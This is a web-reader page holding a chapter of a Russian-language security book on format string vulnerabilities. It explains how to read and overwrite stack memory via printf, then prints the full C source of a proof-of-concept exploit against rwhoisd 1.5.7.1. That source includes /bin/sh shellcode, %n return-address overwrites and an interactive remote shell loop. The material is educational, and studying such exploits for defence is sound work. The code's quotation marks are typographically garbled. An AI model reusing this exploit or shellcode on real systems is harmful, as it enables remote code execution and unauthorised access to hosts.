Чтение онлайн

ЖАНРЫ

Защита от хакеров корпоративных сетей

авторов Коллектив

Шрифт:

В рассмотренном примере клиент использует функцию printf для поиска нужных ему переменных в той части стека, где хранится форматирующая строка. С символов 010%p (они выделены жирным шрифтом) начинается строка клиента, которая содержит обрабатываемые спецификации преобразования. Если бы злоумышленник вставил в начало найденной форматирующей строки клиента адрес и воспользовался спецификацией преобразования %n вместо %c, то адрес в форматирующей строке был переписан.

...

Инструментарий и ловушки

Больше стека меньшей форматирующей строкой

Способ чтения большего количества данных из стека при помощи меньшей форматирующей строки применяется тогда, когда при чтении переменных с помощью функции printf не удается отыскать форматирующую строку. Это может произойти по многим причинам, одна из которых состоит в отбрасывании части форматирующей строки. Если во время выполнения программы часть форматирующей строки отбрасывается так, чтобы длина оставшейся части не превышала максимально допустимой длины перед передачей ее функции printf, то число обрабатываемых спецификаторов формата будет ограничено. Есть несколько способов преодолеть это ограничение при написании программы атаки.

Идея заключается в том, чтобы с помощью функции printf по указанным адресам прочитать больше данных, передав функции сравнительно небольшую форматирующую строку. Для этого существует несколько способов.

Использование типов данных, требующих для своего размещения области памяти большего размера. Первое, что приходит на ум, – это использовать

спецификации формата, которые для представления обрабатываемых данных используют поля большего размера. Другими словами, эти спецификации соответствуют более длинным данным. Одной из них является спецификация формата %lli, которая соответствует сверхдлинному целому числу (типу данных long long integer). В случае ее использования на 32-разрядной архитектуре Intel функция printf будет читать из стека очередные 8 байт при обработке каждой спецификации формата %lli форматирующей строки. Точно так же можно использовать спецификацию вывода длинного числа с плавающей точкой (long float) или длинных чисел с плавающей точкой двойной точности (double long float). Но следует иметь в виду, что при использовании этих спецификаций преобразования неверные данные стека могут привести к аварийному завершению программы из-за ошибок операций с плавающей точкой.

Использование длины выводимого аргумента. Некоторые версии библиотеки libc поддерживают в спецификации формата символ *. Символ * сообщает функции printf, что ширина поля вывода, соответствующего этой спецификации формата, задается параметром функции printf, который при вызове функции был записан в стек. Использование символов * приводит к тому, что для каждого из них в стеке будет дополнительно выделено 4 байта. Ширина поля вывода, записанная в стек, может быть отменена, если за символами * указать число. Например, использование спецификации преобразования %*******10i приведет к тому, что для представления целого числа будет использовано 10 символов. Но при обработке спецификации преобразования %*******10i функция printf все равно прочтет из стека 32 байта. Считается, что первым этот способ применил автор, известный под псевдонимом lorian.

Непосредственный доступ к параметрам. В ряде случаев возможен непосредственный доступ к параметрам функции printf. Для этого применяется спецификация преобразования вида %$xn, где x – порядковый номер параметра при вызове функции printf.

Этот способ применим только в библиотеках языка C, которые поддерживают непосредственный доступ к параметрам.

Если перечисленные уловки не помогли злоумышленнику добраться до нужного ему адреса, то он может попытаться найти любую другую доступную область стека, куда могли быть помещены нужные адреса памяти. Помните, что совсем необязательно нужные адреса связаны с форматирующей строкой. Иногда бывает удобным разместить их в соседнюю со стеком область данных. Для злоумышленника могут оказаться полезными входные данные программы, не связанные с форматирующей строкой. Уязвимость утилиты Screen проявилась в том, что в большинстве случаев злоумышленник мог получить доступ к данным, определенным переменной окружения HOME. Эти данные располагались ближе других к стеку, поэтому их легче было найти и воспользоваться ими.

Программа атаки с использованием форматирующей строки

Рассмотрим пример программы атаки на основе форматирующей строки. В случае программ, аналогичных программе rwhoisd, перед злоумышленником стоит задача выполнить злонамеренный программный код, который должен обеспечить доступ к главному хосту.

Программа атаки была написана для уже упоминавшейся ранее программы rwhoisd версии 1.5.7.1, откомпилированной на системе i386 Linux. Как уже говорилось, для выполнения злонамеренного программного кода программа атаки должна подменить величину, которая в некоторый момент времени интерпретируется атакованным процессом как адрес выполняемых команд. В рассматриваемой программе атаки адрес возврата из функции подменяется на адрес злонамеренного программного кода, который при помощи функции exec запускает /bin/sh и обеспечивает доступ к клиенту.

Первое, что должна сделать программа атаки, – это подключиться к сервису сервера RWHOIS и найти форматирующую строку в стеке. После подключения к сервису функция brute_force программы атаки отсылает ему форматирующую строку. В начало форматирующей строки записана константа 0x6262626262, которая является признаком ее начала. Функция brute_force включает в форматирующую строку такие спецификации преобразования, которые увеличивают размер выводимой области стека. Сервис во время обработки переданной форматирующей строки последовательно извлекает из стека слова и возвращает их обратно программе атаки. Получив ответ сервера, программа атаки сравнивает полученные слова с признаком начала форматирующей строки и находит форматирующую строку. Использование константы 0x6262626262 в качестве признака начала форматирующей строки позволяет упростить алгоритм работы, не думая о возможных осложнениях из-за выравнивания данных в памяти.

if((*ptr == “0”) && (*(ptr+1) == “x”))

{

memcpy(segment,ptr,10);

segment[10] = “\0”;

chekit = strtoul(segment,NULL,16);

if(chekit == FINDME)

{

printf(“*b00m*: found address #1: %i words

away.\n”,i);

foundit = i;

return foundit;

}

ptr += 10;

}

Содержимое стека просматривается с помощью спецификаций преобразования %010p. Спецификация формата %010p выводит очередное слово стека в восьмисимвольном шестнадцатеричном представлении с предшествующими символами 0x. С помощью функции библиотеки языка C strtoul каждая из выведенных строк преобразуется в длинное целое двоичное число без знака.

Главное, что должна сделать программа, – это выполнить произвольный программный код. Для этого ей нужно подменить величины, которые могут указывать на выполнимые команды. Одной из них является адрес точки возврата из функции. Ранее уже отмечалось, что при переполнении буфера часто перезаписываются адреса возврата из функций. Адреса возврата перезаписываются по двум причинам. Во-первых, они находятся в стеке, а во-вторых, при переполнении буфера их можно перезаписать. В рассматриваемой программе адрес возврата из функции подменяется на адрес злонамеренного программного кода, прежде всего из-за легкости, с которой выполняется эта операция.

В программе атаки переписывается адрес возврата функции print_error, который при вызове функции сохраняется в стеке. Поскольку программа предназначена только для демонстрации возможности подобных действий и на момент тестирования программы атаки адрес возврата из функции print_ error находился в стеке сервиса по адресу 0xbffff8c8, то адрес перезаписываемой области в программе атаки задан символической константой TARGET.

После определения программой атаки адреса форматирующей строки формируется новая строка со спецификациями преобразования %n. Для подмены адреса возврата спецификациям %n должны соответствовать параметры, через которые передается адрес перезаписываемой области данных. Для поиска нужных адресов используются спецификации преобразования %x с указанием ширины поля, которые просматривают нужное число слов в стеке. В программе атаки необходимую последовательность спецификаций преобразования %x функция get_str формирует автоматически по результатам работы функции brute_force.

for(i = 0;i<num-1;i++)

{

strncat(str,“%x”,2); // work our way to where target is

}

В переменной num хранится число просмотренных слов стека, предшествующих форматирующей строке. Число просмотренных слов определяется функцией brute_force. Осталось определить адрес записи. Адрес возврата перезаписывается ранее обсуждавшимся способом многократной записи. Для формирования четырехбайтного адреса используют четыре операции записи с различным смещением от начала перезаписываемой области данных. Адреса каждого из четырех байтов перезаписываемой области помещаются в отсылаемую строку:

*((long *)(str+8)) = TARGET; // target

*((long *)(str+16)) = TARGET+1;

*((long *)(str+24)) = TARGET+2;

*((long *)(str+32)) = TARGET+3;

str[36] = “\0”;

Следующий шаг состоит в записи правильных величин, определяющих адрес злонамеренного управляющего программного кода в стеке. Поскольку программа

атаки только демонстрирует обсуждаемые возможности, то в ней в качестве адреса злонамеренного управляющего программного кода используется постоянный адрес 0xbffff99d. При формировании адреса 0xbffff99d в каждый байт выделенной для записи области помещаются младшие разряды величин, специально подобранных программой атаки:

TARGET – 9d

TARGET+1 – f9

TARGET+2 – ff

TARGET+3 – bf

Ранее уже обсуждалось использование спецификаций преобразования %n для записи младших разрядов данных. В последовательные возрастающие адреса памяти, задаваемые символическими константами TARGET, TARGET+1, TARGET+2 и TARGET+3, записываются младшие байты специально подобранных величин, которые совпадают с одним из байтов адреса программного кода. Например, при использовании спецификации преобразования %125x в область памяти, адрес которой равен значению константы TARGET, записывается величина, младший байт которой совпадает с младшим байтом адреса программного кода. Указав в спецификации преобразования %x ширину выводимого поля и применив способ многократной записи, можно сформировать в нужной области памяти адрес программного кода:

strncat(str,“%227x”,5); // padding

strncat(str,“%n”,2); // first write

strncat(str,“%92x”,4); // padding

strncat(str,“%n”,2); // second write

strncat(str,“%262x”,5); // padding

strncat(str,“%n”,2); // third write

strncat(str,“%192x”,5); // padding

strncat(str,“%n”,2); // fourth write

Следует отметить, что используемые в спецификации преобразования значения ширины выводимого поля полностью зависят от общего числа символов в отформатированной строке. При выводе отформатированной строки значение ширины поля можно определить автоматически программным способом.

Как только адрес возврата функции будет переписан, функция vfprintf завершится обычным образом, злонамеренный управляющий программный код будет выполнен, а функция print_error завершена. На рисунке 9.2 показан пример успешного использования уязвимости форматирующей строки.

Рис. 9.2. Использование уязвимости форматирующей строки программы rwhoisd для проникновения на хост

Ниже приведен исходный текст программы атаки:

// proof of concept

// written for rwhoisd 1.5.7.1 compiled on a Linux/i386 system

//

// overwrites return address at 0xbffff8c8 and replaces it with

// address of shellcode (for this binary)

// the shellcode is based on that which was included

// in an exploit written by ‘CowPower’.

// http://www.securityfocus.com/archive/1/222756

#include <stdio.h>

#include <unistd.h>

#include <fcntl.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/errno.h>

#include <linux/in.h>

extern int errno;

#define FINDME 0x62626262 // we need to find this in the stack

#define TARGET 0xbffff8c8 // the address that we are

overwriting

void gen_str(char *str, int found,int target);

unsigned int brute_force(int s, char *str,char *reply);

void session(int s);

int main(int argc, char *argv[])

{

int s;

fd_set fd;

int amt;

struct sockaddr_in sa;

struct sockaddr_in ca;

int where = 0;

char reply[5000]; // receive buffer

char str[1000]; // send buffer

str[0] = “-”; // – directive prefix

str[1] = “s”;

str[2] = “o”;

str[3] = “a”;

str[4] = “ ”; // padding

str[5] = “ ”; // padding

str[6] = “ ”; // padding

str[7] = “ ”; // padding

*((long *)(str+8)) = FINDME; // find me in the stack

str[12] = “\0”;

bzero(&ca,sizeof(struct sockaddr_in));

bzero(&sa,sizeof(struct sockaddr_in));

if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0)

{

perror(“socket:”);

}

if (bind(s,&ca,sizeof(struct sockaddr_in)) < 0)

{

perror(”bind:”);

}

sa.sin_addr.s_addr = inet_addr(“127.0.0.1”);

sa.sin_port = htons(4321);

sa.sin_family = AF_INET;

if (connect(s,&sa,sizeof(struct sockaddr_in)) < 0)

{

perror(“connect”);

}

where = brute_force(s,reply,str); // brute force

gen_str(str,where,TARGET); // generate exploit

string

write(s,str,strlen(str)); // send exploit code

while(1)

{

amt = read(s,reply,1);

if (reply[0] == “\n”)

break;

}

write(s,“id;\n”,4);

amt = read(s,reply,1024);

reply[amt] = “\0”;

if ((reply[0] == “u”) && (reply[1] == “i”) && (reply[2]

== “d”))

{

printf(“*b00m*: %s\n”,reply);

session(s);

}

else

{

printf(“exploit attempt unsuccessful..\n”);

}

close(s);

exit(0);

}

unsigned int brute_force(int s,char *reply, char *str)

{

// this function searches the stack on the victim host

// for the format string

int foundit = 0;

int amt = 0;

int i = 0;

amt = read(s,reply,500); // read in the header, junk

reply[amt] = “\0”;

while(!foundit)

{

strncat(str,“%010p”,5);

write(s,str,strlen(str)+1);

write(s,“\n”,1);

amt = read(s,reply,1024);

if (amt == 0)

{

fprintf(stderr,“Connection closed.\n”);

close(s);

exit(-1);

}

reply[amt] = “\0”;

amt = 0;

i = 0;

while(reply[amt-1] != “\n”)

{

i += amt;

amt = read(s, reply+i, 1024);

if (amt == 0)

{

fprintf(stderr,“Connection closed.\n”);

close(s);

exit(-1);

}

}

reply[amt] = “\0”;

foundit = find_addr(reply);

}

}

int find_addr(char *str)

{

// this function parses server output.

// searches in words from the stack for

// the format string

char *ptr;

char segment[11];

unsigned long chekit = 0;

int i = 0;

int foundit = 0;

ptr = str + 6;

while((*ptr != “\0”) && (*ptr != “\n”))

{

if((*ptr == “0”) && (*(ptr+1) == “x”))

{

memcpy(segment,ptr,10);

segment[10] = “\0”;

chekit = strtoul(segment,NULL,16);

if(chekit == FINDME)

{

printf(“*b00m*: found address #1: %i words

away.\n”,i);

foundit = i;

return foundit;

}

ptr += 10;

}

else if ((*ptr == “ ”) && (*(ptr+1) == “ ”))

{

ptr += 10; // 0x00000000

}

i++;

}

return foundit;

}

void gen_str(char *str,int num,int target)

{

// this function generates the exploit string

// it contains the addresses to write to,

// the format specifiers (padding, %n’s)

// and the shellcode

int i;

char *shellcode =

“\x90\x31\xdb\x89\xc3\x43\x89\xcb\x41\xb0\x3f\xcd\x80\xeb\x25\x5e”

“\x89\xf3\x83\xc3\xe0\x89\x73\x28\x31\xc0\x88\x43\x27\x89\x43\x2c”

“\x83\xe8\xf5\x8d\x4b\x28\x8d\x53\x2c\x89\xf3\xcd\x80\x31\xdb”

“\x31\xc0\x40\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh”;

memset(str+8,0x41,992); // clean the buffer

*((long *)(str+8)) = TARGET; // place the addresses

*((long *)(str+16)) = TARGET+1; // in the buffer

*((long *)(str+24)) = TARGET+2;

*((long *)(str+32)) = TARGET+3;

*((long *)(str+36)) = TARGET+4;

str[36] = “\0”;

for(i = 0;i<num-1;i++)

{

strncat(str,“%x”,2); // work our way to where target is

}

// the following section is binary dependent

strncat(str,“%227x”,5); // padding

strncat(str,“%n”,2); // first write

strncat(str,“%92x”,4); // padding

strncat(str,“%n”,2); // second write

strncat(str,“%262x”,5); // padding

strncat(str,“%n”,2); // third write

strncat(str,“%192x”,5); // padding

strncat(str,“%n”,2); // fourth write

strncat(str,shellcode,strlen(shellcode)); // insert the

shellcode

strncat(str,»\n»,1); // terminate with a newline

}

void session(int s)

{

// this function facilitates communication with a

// shell exec’d on the victim host.

fd_set fds;

int i;

char buf[1024];

FD_ZERO(&fds);

while(1)

{

FD_SET(s, &fds);

FD_SET(0, &fds);

select(s+1, &fds, NULL, NULL, NULL);

if (FD_ISSET(0,&fds))

{

i = 0;

bzero(buf,sizeof(buf));

fgets(buf,sizeof(buf)-2, stdin);

write(s,buf,strlen(buf));

}

else

if (FD_ISSET(s,&fds))

{

i = 0;

bzero(buf,sizeof(buf));

if ((i = read(s,buf,1024)) == 0)

{

printf(“connection lost.\n”);

exit(0);

}

buf[i] = “\0”;

printf(“%s”,buf);

}

}

}

Резюме

Уязвимость форматирующей строки является одним из последних дополнений к стандартному набору уловок злоумышленника.

В последнее время применяемые злоумышленниками способы использования ошибок программного обеспечения стали гораздо изощреннее. Одна из причин усложнения инструментария злоумышленников состоит в том, что стало больше злоумышленников, стало больше любопытных, высматривающих что-либо полезное для себя, и стало больше ревизоров, внимательно исследующих исходные тексты программ. Сейчас стало намного легче узнать о работе систем, об уязвимости программ и о том, как их можно использовать в своих целях.

Поделиться с друзьями: